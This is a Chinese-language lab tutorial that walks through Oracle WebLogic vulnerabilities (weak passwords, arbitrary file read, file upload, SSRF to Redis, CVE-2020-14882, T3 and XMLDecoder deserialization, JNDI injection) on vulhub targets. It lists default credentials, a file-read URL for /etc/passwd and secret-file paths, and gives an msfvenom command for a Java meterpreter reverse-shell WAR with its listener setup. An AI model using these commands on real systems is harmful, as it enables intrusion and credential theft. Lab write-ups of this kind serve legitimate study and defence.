Weblogic漏洞
关于中间件,可以理解为:是一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件。(注意:中间件是一类软件的总称,不是单独的一个软件)
一、漏洞列表
编号 | 类型 | 利用方式 |
---|---|---|
无 | 弱口令、任意文件读取 | 获得密码进后台,传马 |
CVE-2018-2894 | 任意文件上传 | 后台传马getshell |
CVE-2014-4210 | SSRF | 利用redis协议getshell |
CVE-2020-14882 | Console远程代码执行 | GET、POST、XML |
CVE-2018-2628 | T3协议反序列化 | RMI攻击,ysoserial工具 |
CVE-2017-10271 | XMLDecoder反序列化 | 构造反弹payload |
CVE-2023-21839 | JNDI注入 | 和log4j一致 |
二、Weblogic 基本介绍
全名:Oracle WebLogic Server,JavaEE服务器
商业产品,适用于大型商业项目
同类产品:IBM WebSphere、Apache Tomcat、
Redhat Jboss
常见版本:
WebLogic Server 10.x ——11g
WebLogic Server 12.x ——12c
vulhub靶场——基于WebLogic Server 10.3.6
默认端口:7001
三、历史漏洞概况
- CVE数据库-weblogic
https://www.cvedetails.com/vulnerability-list/vendor_id-93/product_id- 14534/Oracle-Weblogic-Server.html - 多为反序列化漏洞
- 参考文章(奇安信CERT)
https://mp.weixin.qq.com/s/qxkV_7MZVhUYYq5QGcwCtQ
四、弱口令、任意文件读取
4.1 弱口令漏洞
漏洞环境:vulhub/weblogic/weakpass
漏洞描述:利用常用弱口令暴破进入后台
weblogic常用弱口令:
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123
4.2 任意文件读取漏洞
漏洞描述:可以读取服务器任意文件。在读取到密钥和密码密文以后,可以AES解密出后台密码
http://192.168.142.133:7001/hello/file.jsp?path=/etc/passwd
密文绝对路径:
/root/Oracle/Middleware/user_projects/domains/base_domain/security/Se
rializedSystemIni.dat,
相对路径:security/SerializedSystemIni.dat
密钥绝对路径:
/root/Oracle/Middleware/user_projects/domains/base_domain/config/con
fig.xml ,
相对路径:config/config.xml
4.3 获取密码密文payload
4.4 获取密钥payload
4.5 解密工具
https://github.com/TideSec/Decrypt_Weblogic_Password
getshell
-
kali生成木马 msfvenom -p java/meterpreter/reverse_tcplhost=192.168.142.162 lport=4444 -f war -o java.war
-
点击左侧 部署->安装->上传war包->(全部下一步)-> 完成
-
kali监听 msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.142.162
set LPORT 4444
exploit -
访问: http://192.168.142.133:7001/java
五、任意文件上传getshell
5.1 任意文件上传漏洞
影响版本:
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
漏洞环境
vulhub/weblogic/CVE-2018-2894
docker-compose logs | grep password
登录到后台,开启 Web Service Test Page :
登录 -> base-domain ->高级 -> 开启 web测试页 -> 保存
5.2 漏洞利用
漏洞地址:http://192.168.142.133:7001/ws_utc/config.do
1、修改工作目录
2、点击安全----添加,上传大马dama.jsp
3、F12, 搜索keystore_table,找到时间戳
4、访问木马
六、SSRF探测redis getshell
CVE- 2014-4210 SSRF
漏洞描述
- SSRF是Server-side Request Forge的缩写,中文翻译为服务端请求伪造。产生的原因是由于服务端提供了从其他服务器应用获取数据的功能,并且没有对地址和协议等做过滤和限制。
- 利用SSRF漏洞可以发送Redis协议数据,执行Redis相关命令,进而getshell
漏洞概况
影响版本:
weblogic 10.0.2 – 10.3.6
漏洞环境
vulhub/weblogic/ssrf
获取内网IP:
docker ps
docker exec -it 容器ID ifconfig
访问:
http://192.168.142.133:7001/uddiexplorer/ (无需登录)
http://192.168.142.133:7001/uddiexplorer/SearchPublicRegistries.jsp
抓包,修改operator值为:http://172.21.0.2.6379/
七、未授权远程代码执行漏洞
7.1 漏洞描述
weblogic未授权漏洞:CVE-2020-14882
weblogic命令执行漏洞:CVE-2020-14883
- CVE-2020-14882允许未授权的用户绕过管理控制台(Console)的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。
- 使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
原理分析(拓展资料):
https://xz.aliyun.com/t/8470
7.2 利用方式
三种利用方式:
1、执行payload后不回显,但是已经执行成功
2、执行payload后回显
通过GET方式进行payload提交
通过POST方式进行payload提交
3、通过把payload构造为XML格式进行引用
7.3 利用流程:
https://github.com/GGyao/CVE-2020-14882_ALL/tree/master
八、T3协议反序列化RCE
漏洞描述
- Weblogic开放控制台的7001端口,默认会开启T3协议服务
- Weblogic的T3协议实现了RMI(远程方法调用),在 WebLogic Server 和其他 Java 程序间传输数据
- T3协议的缺陷触发了Weblogic Server WLS Core Components中存在的反序列化漏洞
- 攻击者可以发送构造的恶意T3协议数据,服务器反序列化以后执行恶意代码,获取到目标服务器权限
原理分析(拓展资料):
https://xz.aliyun.com/t/8073
T3反序列化漏洞概况
影响版本:
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
漏洞环境
vulhub/weblogic/CVE-2018-2628
T3协议检测
nmap -n -v -p 7001,7002 192.168.142.133 --script=weblogic-t3-info
利用流程
复现步骤(总体)
- kali启动JRMPListener,参数包含恶意代码恶 意代码的作用是连接到7777端口
- kali创建7777端口监听
- 运行poc.py,让漏洞服务器主动连接RMI服务 器,进而下载恶意代码,建立反弹连接
payload准备
1、生成payload
2、kali启动JRMPListener
3、kali监听
4、kali运行运行POC(只支持Python2)
九、XML解析反序列化RCE
漏洞描述
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
原理分析(拓展资料):
https://xz.aliyun.com/t/10172
XML反序列化漏洞
影响版本:
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
漏洞环境
vulhub/weblogic/CVE-2017-10271
访问
http://192.168.142.133:7001/wls-wsat/CoordinatorPortType
十、JNDI注入漏洞
10.1 漏洞描述
1、T3/IIOP协议支持远程绑定对象bind到服务端,而且可以通
过lookup代码c.lookup(“xxxxxx”); 查看
2、远程对象继承自OpaqueReference并lookup查看远程对象
时,服务端会调用远程对象getReferent方法
3、由于
weblogic.deployment.jms.ForeignOpaqueReference继承自
OpaqueReference并实现getReferent方法,存在retVal =
context.lookup(this.remoteJNDIName)实现,所以能够通过
RMI/LDAP远程协议进行远程命令执行
注:JNDI注入可以参考学习:《CVE漏洞复现-Log4j漏洞》
10.2 JNDI注入漏洞
影响版本:
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
漏洞环境
vulhub/weblogic/CVE-2023-21839
利用流程
1、kali启动LDAP服务器,指定payload
2、Kali监听端口
3、Windows向漏洞服务器发送poc